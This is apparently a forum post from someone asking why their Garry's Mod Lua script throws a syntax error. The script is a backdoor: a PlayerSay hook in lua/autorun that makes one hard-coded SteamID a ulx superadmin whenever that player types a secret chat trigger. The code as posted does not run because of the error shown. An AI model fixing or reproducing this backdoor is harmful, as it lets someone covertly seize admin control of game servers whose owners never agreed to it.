Hello i created some code so someone with a steamid like that would be able to run a command and automatcly get superadmin.
hook.Add( “PlayerSay”, “Killurself”, function( ply, text, public )
text = string.lower( text )
if ( text == “!hellohello” ) then
if ( ply:SteamID == “STEAM_0:1:47794345” ) then
RunConsoleCommand( “ulx adduser STEAM_0:1:47794345 superadmin” )
end
end
end )
The console says
[ERROR] lua/autorun/run.lua:5: function arguments expected near ‘==’
- unknown - lua/autorun/run.lua:0